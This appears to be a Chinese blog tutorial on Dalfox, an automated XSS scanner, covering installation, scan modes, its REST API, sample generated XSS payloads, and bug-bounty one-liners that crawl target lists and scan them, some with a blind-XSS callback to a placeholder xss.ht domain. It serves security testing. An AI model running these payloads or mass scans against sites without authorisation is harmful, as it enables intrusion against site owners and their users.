相关阅读
视频讲解
本期视频我们将为大家介绍一款自动挖掘XSS的神器,它可以自动发现XSS的注入点,并对其进行测试,记录哪些字符、编码是不被允许的,最终可以全方位的发现XSS漏洞,无论是反射型、存储型还是DOM型的XSS漏洞都可以被检测到。
图文讲解
通过Go编译安装
go1.17
go install github.com/hahwul/dalfox/v2@latest
go1.16
GO111MODULE=on go get github.com/hahwul/dalfox/v2
MacOS通过brew安装
brew tap hahwul/dalfox
brew install dalfox
Ubuntu通过snap安装
sudo snap install dalfox
Docker部署
docker pull hahwul/dalfox:latest
URL模式
url
模式是检测单个URL的XSS的模式
dalfox url {TARGET-URL}
使用示例
dalfox url https://www.cvv-goods.com
Pipeline模式
pipe
是扫描多个URL的模式。我作为系统I/O接收输入,所以你可以通过管道与其他工具连接
dalfox pipe
使用示例
echo urls.txt | dalfox pipe
文件模式
file
模式是一种扫描多个URL或基于Burp Suite/ZAP的原始请求文件进行扫描的模式。输入是文件名。
dalfox file {filename}
如果文件是一个URL列表,就像Pipe一样继续扫描多个URL,如果是用--rawdata
选项,就把它识别为一个原始请求,分析文件,并进行测试。
从文件中扫描URL(你可以将多个url按行放置到urls.txt中)
dalfox file urls.txt
从burp/zap原始请求文件中扫描
dalfox file req.raw --rawdata
储存型XSS模式
sxss
模式是一种便于识别存储XSS的模式。默认行为与url模式相同,但你可以指定一个单独的URL来验证,你可以用-sequence
选项生成一个动态的验证URL,以防验证URL发生变化。
dalfox sxss https://test.url.local/update_profile -d "nickname=abc" --trigger "https://test.url.local/my_profile"
发送POST请求来存储XSS的有效载荷,并用GET请求来验证它的有效载荷的工作。
dalfox sxss -X POST https://test.url.local/update_profile -d "nickname=abc" --trigger "https://test.url.local/my_profile" --reqeust-method GET
服务器模式(REST API)
服务器模式是一种考虑到可扩展性的 REST API 模式。使用这种模式,dalfox 作为 REST API 服务器,可以使用网络请求进行扫描。
dalfox server
命令示例
dalfox server --host 0.0.0.0 --port 8090
效果如下
_..._
.' .::::. __ _ _ ___ _ __ __
: :::::::: | \ / \ | | | __/ \\ V /
: :::::::: | o ) o || |_ | _( o )) (
'. '::::::' |__/|_n_||___||_| \_//_n_\
'-.::''
Parameter Analysis and XSS Scanning tool based on golang
Finder Of XSS and Dal is the Korean pronunciation of moon. @hahwul
🎯 Target REST API Mode
🧲 Listen Address 0.0.0.0:8090
🏁 Method GET
🖥 Worker 100
🔦 BAV true
⛏ Mining true (Gf-Patterns)
🔬 Mining-DOM true (mining from DOM)
⏱ Timeout 10
📤 FollowRedirect false
🕰 Started at 2021-07-08 18:10:15.214339875 +0900 KST m=+0.027712246
支持swagger-ui
![图片[1]-【渗透工具系列】寻找XSS的最简单方法 | Dalfox工具-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20230110012501995.webp)
基本扫描
请求
curl -X POST "http://localhost:6664/scan" -H "accept: application/json" -H "Content-Type: application/json" -d "{\"url\": \"https://www.hahwul.com\"}"
响应
{"code":200,"msg":"28846e5b355577ecd60766f45735c4c687e8c1c200db65700e3f458b73234984","data":null}
使用选项的扫描
请求
curl -X POST "http://localhost:6664/scan" \
-H "accept: application/json" \
-H "Content-Type: application/json" \
-d "{\"url\": \"https://www.hahwul.com\", \"options\":{\"cookie\":\"testz=11\",\"worker\":1}}
响应
{"code":200,"msg":"0462c53f75a528d263787af314f90e58016d693554216b9a4e34b50ad92da9ba","data":null}
有效载荷模式
payload
模式是一种便于测试XSS的模式。生成和列举XSS的有效载荷和词表
dalfox payload {flags}
命令示例
dalfox payload --enum-injs --entity-event-handler"
Make-bulk
Make-bulk产生了许多XSS有效载荷。在这一点上,警报的参数被配置为序列,很容易找到在XSS测试中被触发的有效载荷。
dalfox payload --make-bulk
输出结果
...snip...
<track onbeforepaste=\"alert(488)\" contenteditable>test<\/track>
<tt onbeforepaste=\"alert(489)\" contenteditable>test<\/tt>
<u onbeforepaste=\"alert(490)\" contenteditable>test<\/u>
<ul onbeforepaste=\"alert(491)\" contenteditable>test<\/ul>
<var onbeforepaste=\"alert(492)\" contenteditable>test<\/var>
<video onbeforepaste=\"alert(493)\" contenteditable>test<\/video>
<wbr onbeforepaste=\"alert(494)\" contenteditable>test<\/wbr>
<xmp onbeforepaste=\"alert(495)\" contenteditable>test<\/xmp>
<body onbeforeprint=alert(496)>
<svg><path><animateMotion onbegin=alert(497) dur=\"1s\" repeatCount=\"1\">
<svg><animatetransform onbegin=alert(498) attributeName=transform>
<svg><set onbegin=alert(499) attributename=x dur=1s>
<svg><animate onbegin=alert(500) attributeName=x dur=1s>
<input onblur=alert(501) id=x><input autofocus>
<textarea onblur=alert(502) id=x><\/textarea><input autofocus>
...snip...
进行编码
--encoder-url Encoding output [URL]
除此之外,还支持以下功能
--entity-event-handler Enumerate a event handlers for xss
--entity-gf Enumerate a gf-patterns xss params
--entity-special-chars Enumerate a special chars for xss
--entity-useful-tags Enumerate a useful tags for xss
--enum-attr Enumerate a in-attr xss payloads
--enum-common Enumerate a common xss payloads
--enum-html Enumerate a in-html xss payloads
--enum-injs Enumerate a in-js xss payloads
--make-bulk Make bulk payloads for stored xss
--remote-payloadbox Enumerate a payloadbox's xss payloads
--remote-portswigger Enumerate a portswigger xss cheatsheet payloads
Screenshots
![图片[2]-【渗透工具系列】寻找XSS的最简单方法 | Dalfox工具-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20230110012933821-1024x689-1.webp)
一键联动其他扫描工具
自动化收集URL并挖掘xss漏洞 来自@cihanmehmet in awesome-oneliner-bugbounty
gospider -S targets_urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee result.txt
使用Dalfox、GF、Waybackurls自动化挖掘XSS漏洞 来自@Keshav Malik的分享
cat test.txt | gf xss | sed ‘s/=.*/=/’ | sed ‘s/URL: //’ | tee testxss.txt ; dalfox file testxss.txt -b yours-xss-hunter-domain(e.g yours.xss.ht)
查找XSS和Blind XSS,并将每个请求发送到burpsuite进行更多的人工测试 来自@Alra3ees的Twitter
dalfox file hosts --mining-dom --deep-domxss --ignore-return -b 'YOURS.xss.ht' --follow-redirects --proxy http://127.0.0.1:8080
使用dalfox扫描漏洞赏金的目标 来自KingOfBugBountyTips Github
wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @
子域名侦察 使用gau寻找漏洞 配合dalfox识别XSS漏洞 来自KingOfBugBountyTips Github
assetfinder testphp.vulnweb.com | gau | dalfox pipe
效果截图
![图片[3]-【渗透工具系列】寻找XSS的最简单方法 | Dalfox工具-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20230110011453213-1024x757-1.webp)
![图片[4]-【渗透工具系列】寻找XSS的最简单方法 | Dalfox工具-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20230110011504649-1024x763-1.webp)
![图片[5]-【渗透工具系列】寻找XSS的最简单方法 | Dalfox工具-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20230110011529147-1024x761-1.webp)
![图片[6]-【渗透工具系列】寻找XSS的最简单方法 | Dalfox工具-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20230110011547787-1024x763-1.webp)
暂无评论内容